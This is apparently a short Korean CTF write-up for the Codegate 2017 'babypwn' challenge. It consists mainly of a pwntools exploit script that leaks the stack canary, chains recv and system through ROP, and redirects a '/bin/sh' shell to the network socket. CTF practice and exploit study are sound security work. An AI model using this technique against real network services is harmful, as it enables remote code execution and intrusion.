CTF's Write-up

codegate 2017 - babypwn

m0nd2y 2018. 9. 20. 21:24

Codegate 2017 - babypwn 문제입니다.


카나리 익스 연습하려고 추천해주셔서 풀어봤습니다.

원격으로 서버열어서 쉘따는 부분이 0>&4 1>&4 입출력 다 원격으로 바꾸는게 신기했습니다. 물론 저부분은 도움없었으면 못풀었을거에요 ㅠ



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
 
r = remote('127.0.0.1',6666)
e = ELF('./babypwn')
 
 
bss = 0x0804b1b8+0x32
binsh = "/bin/sh 0>&4 1>&4"
system_plt = e.plt['system']
recv_plt = e.plt['recv']
ppppr = 0x08048eec
 
 
pay = ""
pay += "A" * 40
 
print(r.recvuntil("> "))
r.sendline(str(1))
print(r.recvuntil(": "))
r.sendline(pay)
print(r.recvuntil("A"*40))
canary = u32(r.recv(4)) - 0x0a
print hex(canary)
 
sleep(0.3)
print r.recvuntil("> ")
r.sendline("1")
print r.recvuntil(": ")
 
pay += p32(canary)
pay += "A"*12
 
pay += p32(recv_plt)
pay += p32(ppppr)
 
pay += p32(0x04)
pay += p32(bss)
pay += p32(len(binsh))
pay += p32(0x00)
 
pay += p32(system_plt)
pay += "A"*4
pay += p32(bss)
 
r.sendline(pay)
sleep(0.3)
print r.recvuntil("> ")
r.sendline("3")
r.send(binsh)
r.interactive()\
cs